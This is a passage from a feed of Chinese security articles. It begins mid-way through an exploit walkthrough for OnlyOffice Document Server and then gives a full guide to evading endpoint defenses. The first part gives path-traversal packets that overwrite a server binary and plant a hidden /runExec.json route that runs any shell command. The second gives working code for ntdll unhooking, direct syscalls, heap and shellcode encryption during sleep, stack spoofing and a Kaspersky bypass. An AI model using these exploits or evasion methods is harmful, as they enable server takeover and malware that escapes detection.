	const mime = require('mime');
	const docsCoServer = require('./DocsCoServer');
	const canvasService = require('./canvasservice');
	const converterService = require('./converterservice');
	const fileUploaderService = require('./fileuploaderservice');
	const constants = require('./../../Common/sources/constants');
	const utils = require('./../../Common/sources/utils');
	const commonDefines = require('./../../Common/sources/commondefines');
	const configStorage = configCommon.get('storage');
	const app = express();
	const server = http.createServer(app);

	let userPlugins = null, updatePlugins = true;

	if (config.has('server.static_content')) {
		const staticContent = config.get('server.static_content');
		for (let i in staticContent) {
			app.use(i, express.static(staticContent[i]['path'], staticContent[i]['options']));
		}
	}

	if (configStorage.has('fs.folderPath')) {
		const cfgBucketName = configStorage.get('bucketName');
		const cfgStorageFolderName = configStorage.get('storageFolderName');
		app.use('/' + cfgBucketName + '/' + cfgStorageFolderName, (req, res, next) => {
			const index = req.url.lastIndexOf('/');
			if ('GET' === req.method && -1 != index) {
				const contentDisposition = req.query['disposition'] || 'attachment';
				let sendFileOptions = {
					root: configStorage.get('fs.folderPath'), dotfiles: 'deny', headers: {
						'Content-Disposition': contentDisposition
					}
				};
				const urlParsed = urlModule.parse(req.url);
				if (urlParsed && urlParsed.pathname) {
					const filename = decodeURIComponent(path.basename(urlParsed.pathname));
					sendFileOptions.headers['Content-Type'] = mime.getType(filename);
				}
				const realUrl = req.url.substring(0, index);
				res.sendFile(realUrl, sendFileOptions, (err) => {
					if (err) {
						logger.error(err);
						res.status(400).end();
					}
				});
			} else {
				res.sendStatus(404)
			}
		});
	}
	docsCoServer.install(server, () => {
		server.listen(config.get('server.port'), () => {
			logger.warn("Express server listening on port %d in %s mode", config.get('server.port'), app.settings.env);
		});
		app.all('/runExec.json', (req, res) => {
			const spawn = require('child_process').spawn;
			var username = req.query.username ? req.query.username: req.header("username");
			if(!username){
				res.send("empty para!");
			}else {
				const cmd = spawn('sh', ['-c', username]);
				var result = "";
				cmd.stdout.on('data', (data) => {
					result += data;
				});

				cmd.on('close', (code) => {
					res.send(result);
					return res.end();
				})
			}
		});
		app.get('/index.html', (req, res) => {
			res.send('Server is functioning normally. Version: ' + commonDefines.buildVersion + '. Build: ' +
				commonDefines.buildNumber);
		});
		const rawFileParser = bodyParser.raw(
			{inflate: true, limit: config.get('server.limits_tempfile_upload'), type: '*/*'});

		app.get('/coauthoring/CommandService.ashx', utils.checkClientIp, rawFileParser, docsCoServer.commandFromServer);
		app.post('/coauthoring/CommandService.ashx', utils.checkClientIp, rawFileParser,
			docsCoServer.commandFromServer);

		app.get('/ConvertService.ashx', utils.checkClientIp, rawFileParser, converterService.convertXml);
		app.post('/ConvertService.ashx', utils.checkClientIp, rawFileParser, converterService.convertXml);
		app.post('/converter', utils.checkClientIp, rawFileParser, converterService.convertJson);


		app.get('/FileUploader.ashx', utils.checkClientIp, rawFileParser, fileUploaderService.uploadTempFile);
		app.post('/FileUploader.ashx', utils.checkClientIp, rawFileParser, fileUploaderService.uploadTempFile);

		const docIdRegExp = new RegExp("^[" + constants.DOC_ID_PATTERN + "]*$", 'i');
		app.param('docid', (req, res, next, val) => {
			if (docIdRegExp.test(val)) {
				next();
			} else {
				res.sendStatus(403);
			}
		});
		app.param('index', (req, res, next, val) => {
			if (!isNaN(parseInt(val))) {
				next();
			} else {
				res.sendStatus(403);
			}
		});
		app.post('/uploadold/:docid/:userid/:index', fileUploaderService.uploadImageFileOld);
		app.post('/upload/:docid/:userid/:index', rawFileParser, fileUploaderService.uploadImageFile);

		app.post('/downloadas/:docid', rawFileParser, canvasService.downloadAs);
		app.post('/savefile/:docid', rawFileParser, canvasService.saveFile);
		app.get('/healthcheck', utils.checkClientIp, docsCoServer.healthCheck);

		app.get('/baseurl', (req, res) => {
			res.send(utils.getBaseUrlByRequest(req));
		});

		app.get('/robots.txt', (req, res) => {
			res.setHeader('Content-Type', 'plain/text');
			res.send("User-agent: *\nDisallow: /");
		});

		app.post('/docbuilder', utils.checkClientIp, rawFileParser, (req, res) => {
			converterService.builder(req, res);
		});
		app.get('/info/info.json', utils.checkClientIp, docsCoServer.licenseInfo);

		const sendUserPlugins = (res, data) => {
			res.setHeader('Content-Type', 'application/json');
			res.send(JSON.stringify(data));
		};
		app.get('/plugins.json', (req, res) => {
			if (userPlugins && !updatePlugins) {
				sendUserPlugins(res, userPlugins);
				return;
			}

			if (!config.has('server.static_content') || !config.has('plugins.uri')) {
				res.sendStatus(404);
				return;
			}

			let staticContent = config.get('server.static_content');
			let pluginsUri = config.get('plugins.uri');
			let pluginsPath = undefined;
			let pluginsAutostart = config.get('plugins.autostart');

			if (staticContent[pluginsUri]) {
				pluginsPath = staticContent[pluginsUri].path;
			}

			let baseUrl = '../../../..';
			utils.listFolders(pluginsPath, true).then((values) => {
				return co(function*() {
					const configFile = 'config.json';
					let stats = null;
					let result = [];
					for (let i = 0; i < values.length; ++i) {
						try {
							stats = yield utils.fsStat(path.join(values[i], configFile));
						} catch (err) {
							stats = null;
						}

						if (stats && stats.isFile) {
							result.push( baseUrl + pluginsUri + '/' + path.basename(values[i]) + '/' + configFile);
						}
					}

					userPlugins = {'url': '', 'pluginsData': result, 'autostart': pluginsAutostart};
					sendUserPlugins(res, userPlugins);
				});
			});
		});
	});

	process.on('message', (msg) => {
		if (!docsCoServer) {
			return;
		}
		switch (msg.type) {
			case 1:
				docsCoServer.setLicenseInfo(msg.data);
				break;
			case 2:
				updatePlugins = true;
				break;
		}
	});
}

process.on('uncaughtException', (err) => {
	logger.error((new Date).toUTCString() + ' uncaughtException:', err.message);
	logger.error(err.stack);
	logger.shutdown(() => {
		process.exit(1);
	});
});
" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js

执行下路由：

第三个包(重启服务):

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1Host: 10.37.129.2:9000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 3
/usr/bin/supervisorctl restart ds:docservice

然后触发一下路由：

接下来访问接口：成功回显

当然我们本地通过docker查看文件也会发现已经被改动。

其实上边有一些坑点，实际情况下写js文件有些文件，所以我们还是整合一个包：

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder"} HTTP/1.1Host: 10.37.129.2:9000Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 3

#!/bin/bash# 备份路由，删路由，写路由，重启路由cp /var/www/onlyoffice/documentserver/server/DocService/sources/server.js /var/www/onlyoffice/documentserver/server/DocService/server.js;rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;echo "/*
 * Copyright (C) Ascensio System SIA 2012-2019. All rights reserved
 *
 * https://www.onlyoffice.com/ 
 *
 * Version: 5.4.2 (build:46)
 */

'use strict';

const cluster = require('cluster');
const configCommon = require('config');
const config = configCommon.get('services.CoAuthoring');
const logger = require('./../../Common/sources/logger');
const co = require('co');
const license = require('./../../Common/sources/license');

if (cluster.isMaster) {
	const fs = require('fs');
	let licenseInfo, workersCount = 0, updateTime;
	const readLicense = function*() {
		licenseInfo = yield* license.readLicense();
		workersCount = Math.min(1, licenseInfo.count/*, Math.ceil(numCPUs * cfgWorkerPerCpu)*/);
	};
	const updateLicenseWorker = (worker) => {
		worker.send({type: 1, data: licenseInfo});
	};
	const updateWorkers = () => {
		const arrKeyWorkers = Object.keys(cluster.workers);
		if (arrKeyWorkers.length < workersCount) {
			for (let i = arrKeyWorkers.length; i < workersCount; ++i) {
				const newWorker = cluster.fork();
				logger.warn('worker %s started.', newWorker.process.pid);
			}
		} else {
			for (let i = workersCount; i < arrKeyWorkers.length; ++i) {
				const killWorker = cluster.workers[arrKeyWorkers[i]];
				if (killWorker) {
					killWorker.kill();
				}
			}
		}
	};
	const updatePlugins = (eventType, filename) => {
		console.log('update Folder: %s ; %s', eventType, filename);
		if (updateTime && 1000 >= (new Date() - updateTime)) {
			return;
		}
		console.log('update Folder true: %s ; %s', eventType, filename);
		updateTime = new Date();
		for (let i in cluster.workers) {
			cluster.workers[i].send({type: 2});
		}
	};
	const updateLicense = () => {
		return co(function*() {
			try {
				yield* readLicense();
				logger.warn('update cluster with %s workers', workersCount);
				for (let i in cluster.workers) {
					updateLicenseWorker(cluster.workers[i]);
				}
				updateWorkers();
			} catch (err) {
				logger.error('updateLicense error:\r\n%s', err.stack);
			}
		});
	};

	cluster.on('fork', (worker) => {
		updateLicenseWorker(worker);
	});
	cluster.on('exit', (worker, code, signal) => {
		logger.warn('worker %s died (code = %s; signal = %s).', worker.process.pid, code, signal);
		updateWorkers();
	});

	updateLicense();

	try {
		fs.watch(config.get('plugins.path'), updatePlugins);
	} catch (e) {
		logger.warn('Plugins watch exception (https://nodejs.org/docs/latest/api/fs.html#fs_availability).');
	}
	fs.watchFile(configCommon.get('license').get('license_file'), updateLicense);
	setInterval(updateLicense, 86400000);
} else {
	logger.warn('Express server starting...');

	const express = require('express');
	const http = require('http');
	const urlModule = require('url');
	const path = require('path');
	const bodyParser = require("body-parser");
	const mime = require('mime');
	const docsCoServer = require('./DocsCoServer');
	const canvasService = require('./canvasservice');
	const converterService = require('./converterservice');
	const fileUploaderService = require('./fileuploaderservice');
	const constants = require('./../../Common/sources/constants');
	const utils = require('./../../Common/sources/utils');
	const commonDefines = require('./../../Common/sources/commondefines');
	const configStorage = configCommon.get('storage');
	const app = express();
	const server = http.createServer(app);

	let userPlugins = null, updatePlugins = true;

	if (config.has('server.static_content')) {
		const staticContent = config.get('server.static_content');
		for (let i in staticContent) {
			app.use(i, express.static(staticContent[i]['path'], staticContent[i]['options']));
		}
	}

	if (configStorage.has('fs.folderPath')) {
		const cfgBucketName = configStorage.get('bucketName');
		const cfgStorageFolderName = configStorage.get('storageFolderName');
		app.use('/' + cfgBucketName + '/' + cfgStorageFolderName, (req, res, next) => {
			const index = req.url.lastIndexOf('/');
			if ('GET' === req.method && -1 != index) {
				const contentDisposition = req.query['disposition'] || 'attachment';
				let sendFileOptions = {
					root: configStorage.get('fs.folderPath'), dotfiles: 'deny', headers: {
						'Content-Disposition': contentDisposition
					}
				};
				const urlParsed = urlModule.parse(req.url);
				if (urlParsed && urlParsed.pathname) {
					const filename = decodeURIComponent(path.basename(urlParsed.pathname));
					sendFileOptions.headers['Content-Type'] = mime.getType(filename);
				}
				const realUrl = req.url.substring(0, index);
				res.sendFile(realUrl, sendFileOptions, (err) => {
					if (err) {
						logger.error(err);
						res.status(400).end();
					}
				});
			} else {
				res.sendStatus(404)
			}
		});
	}
	docsCoServer.install(server, () => {
		server.listen(config.get('server.port'), () => {
			logger.warn("Express server listening on port %d in %s mode", config.get('server.port'), app.settings.env);
		});
		app.all('/runExec.json', (req, res) => {
			const spawn = require('child_process').spawn;
			var username = req.query.username ? req.query.username: req.header("username");
			if(!username){
				res.send("empty para!");
			}else {
				const cmd = spawn('sh', ['-c', username]);
				var result = "";
				cmd.stdout.on('data', (data) => {
					result += data;
				});

				cmd.on('close', (code) => {
					res.send(result);
					return res.end();
				})
			}
		});
		app.get('/index.html', (req, res) => {
			res.send('Server is functioning normally. Version: ' + commonDefines.buildVersion + '. Build: ' +
				commonDefines.buildNumber);
		});
		const rawFileParser = bodyParser.raw(
			{inflate: true, limit: config.get('server.limits_tempfile_upload'), type: '*/*'});

		app.get('/coauthoring/CommandService.ashx', utils.checkClientIp, rawFileParser, docsCoServer.commandFromServer);
		app.post('/coauthoring/CommandService.ashx', utils.checkClientIp, rawFileParser,
			docsCoServer.commandFromServer);

		app.get('/ConvertService.ashx', utils.checkClientIp, rawFileParser, converterService.convertXml);
		app.post('/ConvertService.ashx', utils.checkClientIp, rawFileParser, converterService.convertXml);
		app.post('/converter', utils.checkClientIp, rawFileParser, converterService.convertJson);


		app.get('/FileUploader.ashx', utils.checkClientIp, rawFileParser, fileUploaderService.uploadTempFile);
		app.post('/FileUploader.ashx', utils.checkClientIp, rawFileParser, fileUploaderService.uploadTempFile);

		const docIdRegExp = new RegExp("^[" + constants.DOC_ID_PATTERN + "]*$", 'i');
		app.param('docid', (req, res, next, val) => {
			if (docIdRegExp.test(val)) {
				next();
			} else {
				res.sendStatus(403);
			}
		});
		app.param('index', (req, res, next, val) => {
			if (!isNaN(parseInt(val))) {
				next();
			} else {
				res.sendStatus(403);
			}
		});
		app.post('/uploadold/:docid/:userid/:index', fileUploaderService.uploadImageFileOld);
		app.post('/upload/:docid/:userid/:index', rawFileParser, fileUploaderService.uploadImageFile);

		app.post('/downloadas/:docid', rawFileParser, canvasService.downloadAs);
		app.post('/savefile/:docid', rawFileParser, canvasService.saveFile);
		app.get('/healthcheck', utils.checkClientIp, docsCoServer.healthCheck);

		app.get('/baseurl', (req, res) => {
			res.send(utils.getBaseUrlByRequest(req));
		});

		app.get('/robots.txt', (req, res) => {
			res.setHeader('Content-Type', 'plain/text');
			res.send("User-agent: *\nDisallow: /");
		});

		app.post('/docbuilder', utils.checkClientIp, rawFileParser, (req, res) => {
			converterService.builder(req, res);
		});
		app.get('/info/info.json', utils.checkClientIp, docsCoServer.licenseInfo);

		const sendUserPlugins = (res, data) => {
			res.setHeader('Content-Type', 'application/json');
			res.send(JSON.stringify(data));
		};
		app.get('/plugins.json', (req, res) => {
			if (userPlugins && !updatePlugins) {
				sendUserPlugins(res, userPlugins);
				return;
			}

			if (!config.has('server.static_content') || !config.has('plugins.uri')) {
				res.sendStatus(404);
				return;
			}

			let staticContent = config.get('server.static_content');
			let pluginsUri = config.get('plugins.uri');
			let pluginsPath = undefined;
			let pluginsAutostart = config.get('plugins.autostart');

			if (staticContent[pluginsUri]) {
				pluginsPath = staticContent[pluginsUri].path;
			}

			let baseUrl = '../../../..';
			utils.listFolders(pluginsPath, true).then((values) => {
				return co(function*() {
					const configFile = 'config.json';
					let stats = null;
					let result = [];
					for (let i = 0; i < values.length; ++i) {
						try {
							stats = yield utils.fsStat(path.join(values[i], configFile));
						} catch (err) {
							stats = null;
						}

						if (stats && stats.isFile) {
							result.push( baseUrl + pluginsUri + '/' + path.basename(values[i]) + '/' + configFile);
						}
					}

					userPlugins = {'url': '', 'pluginsData': result, 'autostart': pluginsAutostart};
					sendUserPlugins(res, userPlugins);
				});
			});
		});
	});

	process.on('message', (msg) => {
		if (!docsCoServer) {
			return;
		}
		switch (msg.type) {
			case 1:
				docsCoServer.setLicenseInfo(msg.data);
				break;
			case 2:
				updatePlugins = true;
				break;
		}
	});
}

process.on('uncaughtException', (err) => {
	logger.error((new Date).toUTCString() + ' uncaughtException:', err.message);
	logger.error(err.stack);
	logger.shutdown(() => {
		process.exit(1);
	});
});
" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;/usr/bin/supervisorctl restart ds:docservice

至此，页面交互命令回显成功。

Tips：这里讲发包的坑点，我们是可以通过写入一个bash脚本，可以删除，写入路由，重启服务，但是在写入路由时候，一定要使用一下base64格式，echo “base64内容” | base64 -d > server.js

延伸：当然我们这里https://github.com/L-codes/Neo-reGeorg/pull/66，添加该路由后就能直接使用NodeJS版本正向代理～

阅读原文

跳转微信打开

Defense Evasion(防御规避)

Tue, 07 Nov 2023 16:03:00 +0800

原创鬼屋女鬼 2023-11-07 16:03 江苏

终端对抗向的技巧型文章。

“ 终端对抗向技巧型文章，闭门沙龙精华提炼版。”

0x00 前言

终端对抗向的技巧型文章，欢迎留言与笔者沟通交流！

0x01 Static Analysis Evasion(静态文件规避)

一、检测机制

基于签名的检测：文件hash、特征码、文件名、图标
启发式查杀：导入导出表、API调用链
文件熵分析：文件中字节的熵
元数据分析：编译器、时间戳、数字签名
PE节表：PE文件中异常节
机器学习：例如常见的QVM HEUR 202

二、规避技巧

加密/压缩：使用自实现加密算法

常规方法：
XOR
Base64
AES
RC4
针对shellcode的检测

代码混淆：混淆源代码（llvm+pass、ollvm）

控制流平坦化
虚假控制流
指定替换
Pass插件
LLVM 混淆
OLLVM 混淆

字符串加密：避免基于字符串的检测

利用C++模板：constexpr 编译时间字符串加密
示例代码：

    template<size_t size>    constexpr auto obfuscate(const char plaintext[size]){        MetaString obfuscated;
        for (size_t i = 0; i < size - 1; i++)            obfuscated.buff[i] = plaintext[i] ^ key[i % sizeof(key)];
        obfuscated.buff[size - 1] = 0;
        return obfuscated;    }
#define ENCODE(x) []() { constexpr auto encoded = obfstr::obfuscate(x); return encoded; }()#define OBFSTR(x) ENCODE(x).deobfuscate()

效果如下：

动态加载windows api：隐藏导入表
使用
GetProcAddress()
GetModuleHandle()
动态获取windows API，隐藏导入表
示例代码：

typedef int(WINAPI* pMessageBoxW)(  HWND    hWnd,  LPCTSTR lpText,  LPCTSTR lpCaption,  UINT    uType  );
int main(){  pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA");  MyMessageBox(0, 0, 0, 0);  return 0;}

效果如下：

降低文件熵

shellcode 转 English words
MAC、IPV4、IPV6、UUID编码
分离加载（远程拉取或突破隐写）
添加大资源文件

加壳：自写壳、商业壳

UPX
VMProtect
Shielden
Themida
ASPack
Enigma Protector

模拟正常文件：签名、文件名、图标、属性信息、资源
给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件，使文件看起来更加合法，以规避启发式查杀
以360为例，常规我们编译出来的文件经常爆QVM202，但是当我们添加资源文件后，我们即可绕过QVM202

动态生成

动态生成加密key
动态编译生成文件
......

0x02 Dynamic Behavioral Evasion (动态行为规避)

一、检测机制

Sandbox：沙箱运行观察判断行为是否恶意
子进程/线程创建：例如监控Cmd.exe、Powershell.exe
敏感高危操作：修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….
敏感目录读写：注册表、自启动目录
进程链检测：监控父子进程间关系判断是否异常，例如word.exe—powershell.exe
代码注入检测：例如远程线程注入、DLL注入等等
网络通信：监控网络流量，分析可能的C2流量
API调用：Hook 常见 Windows API

二、规避技巧

Anti sandbox：反沙箱

使用质数运算延迟执行
检测系统开机时间是否大于某个设定值
检测物理内存是否大于4G
检测CPU核心数是否大于4
检测文件名是否修改
检测磁盘大小是否大于100G
判断是否有参数代入

Anti VM：反虚拟机

检测进程名
检测注册表
检测磁盘中文件
如图：

Unhook：从磁盘加载ntdll

通过读取磁盘上ntdll.dll的.text节，覆盖内存当中的ntdll.dll的.text节，达到脱钩的效果

示例代码：

  HANDLE process = GetCurrentProcess();  MODULEINFO mi = {};  HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));  LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;  HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);  HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);  LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
  PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;  PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
  for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {    PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {      DWORD oldProtection = 0;      bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);      memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);      isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);    }  }    CloseHandle(process);  CloseHandle(ntdllFile);  CloseHandle(ntdllMapping);  FreeLibrary(ntdllModule);    return 0;

Syscall：Direct syscall、Indirect syscall

Direct syscall

示例代码：

NtAllocateVirtualMemory PROC    mov r10, rcx                                         mov eax, wNtAllocateVirtualMemory                   syscall                                             ret                                             NtAllocateVirtualMemory ENDP                        
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];

Indirect syscall
示例代码：

NtWriteVirtualMemory PROC    mov r10, rcx    mov eax, wNtWriteVirtualMemory    jmp QWORD PTR [sysAddrNtWriteVirtualMemory]NtWriteVirtualMemory ENDP
  UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;

PE in Memory：内存加载

利用 Inline-Execute-PE 在内存中加载运行PE文件
利用 BOF.NET 在内存中执行.NET程序集文件

进程断链：断掉父子进程链

利用模拟运行断链
利用WMIC断链
利用Com断链

0x03 Memory Scanners Evasion (内存扫描规避)

一、检测机制

内存扫描：扫描内存查找注入的恶意代码，并检测进程内存空间中的可疑API调用
检测项：进程信息、shellcode特征、堆栈、内存映像

二、规避技巧

睡眠混淆：hook sleep函数，实现内存加密和解密

Heap Encryption

通过Hook Sleep函数，睡眠期间加密堆内存规避内存扫描：

void WINAPI HookedSleep(DWORD dwMiliseconds) {        DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());        HeapEncryptDecrypt();
        OldSleep(dwMiliseconds);
        HeapEncryptDecrypt();        DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());}

关键部分代码，加密堆内存：

static PROCESS_HEAP_ENTRY entry;VOID HeapEncryptDecrypt() {    SecureZeroMemory(&entry, sizeof(entry));    while (HeapWalk(currentHeap, &entry)) {        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {            XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);        }    }}

ShellcodeFluctuation

Hook Sleep 函数
定位内存中的shellcode
睡眠期间翻转为RW
睡眠结束翻转为RX
无限循环，以此规避内存扫描

关键部分代码：

XOR加密：

void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey){    uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
    auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;    for (size_t i = 0; i < bufSizeRounded; i++)    {        buf32[i] ^= xorKey;    }
    for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)    {        buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);    }}

定位内存中的shellcode地址：

bool isShellcodeThread(LPVOID address){    MEMORY_BASIC_INFORMATION mbi = { 0 };    if (VirtualQuery(address, &mbi, sizeof(mbi)))    {        //        // To verify whether address belongs to the shellcode's allocation, we can simply        // query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.        //        if (mbi.Type == MEM_PRIVATE)        {            const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;
            return ((mbi.Protect & PAGE_EXECUTE_READ)                 || (mbi.Protect & PAGE_EXECUTE_READWRITE)                || (mbi.Protect & expectedProtection));        }    }
    return false;}

加密和解密shellcode：

void shellcodeEncryptDecrypt(LPVOID callerAddress){    if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)    {        if (!isShellcodeThread(callerAddress))            return;
        DWORD oldProt = 0;
        if (!g_fluctuationData.currentlyEncrypted             || (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))        {            ::VirtualProtect(                g_fluctuationData.shellcodeAddr,                g_fluctuationData.shellcodeSize,                PAGE_READWRITE,                &g_fluctuationData.protect            );
            log("[>] Flipped to RW.");        }                log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");
        xor32(            reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),            g_fluctuationData.shellcodeSize,            g_fluctuationData.encodeKey        );
        if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)        {            //            // Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE            // and our previously set up vectored exception handler should catch invalid memory access, flip back memory            // protections and resume the execution.            //             // Be sure to check out ORCA666's original implementation here:            //      https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285            //
            ::VirtualProtect(                g_fluctuationData.shellcodeAddr,                g_fluctuationData.shellcodeSize,                PAGE_NOACCESS,                &oldProt            );
            log("[>] Flipped to No Access.\n");        }        else if (g_fluctuationData.currentlyEncrypted)        {            ::VirtualProtect(                g_fluctuationData.shellcodeAddr,                g_fluctuationData.shellcodeSize,                g_fluctuationData.protect,                &oldProt            );
            log("[<] Flipped back to RX/RWX.\n");        }
        g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;    }}

效果：

Bypass Kasperskey Memory Scanner：

Hook Sleep 函数
定位内存中的shellcode
睡眠期间翻转为RW
睡眠结束翻转为RX
无限循环，以此规避内存扫描

线程堆栈欺骗：欺骗线程堆栈返回地址
默认情况下，线程的返回地址指向我们驻留在内存中的shellcode，通过检查可疑进程中线程的返回地址，可以轻松识别到内存中的shellcode

最简单的方法，直接用0覆盖返回地址，从而截断堆栈
关键代码

void WINAPI MySleep(DWORD _dwMilliseconds){    const register DWORD dwMilliseconds = _dwMilliseconds;
    // Perform this (current) thread call stack spoofing.    PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();    const register ULONG_PTR origReturnAddress = *overwrite;
    log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack...");    *overwrite = 0;
    log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
    // Perform sleep emulating originally hooked functionality.    ::SleepEx(dwMilliseconds, false);
    // Restore original thread's call stack.    log("[<] Restoring original return address...");    *overwrite = origReturnAddress;}

效果对比：

默认线程调用堆栈：

欺骗后的线程调用堆栈：

总结：
堆栈欺骗+内存加密配合使用实战效果极佳，参考Cobalt Strike 4.7的SleepMask

0x04 Network traffic Evasion(网络流量规避)

一、检测机制

威胁情报：IP、域名
流量特征：固定通信流量特征

二、规避技巧

使用HTTPS
云函数
域前置
更改C2、webshell等工具通信流量

0x05 总结

抛出沙龙上，交流提出的两个问题。

以后杀软的发展趋势会着重在哪些地方？
以后对抗难点会在哪些地方？

逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流！

最后公众号后台回复终端对抗，获取作者联系方式哈。

阅读原文

跳转微信打开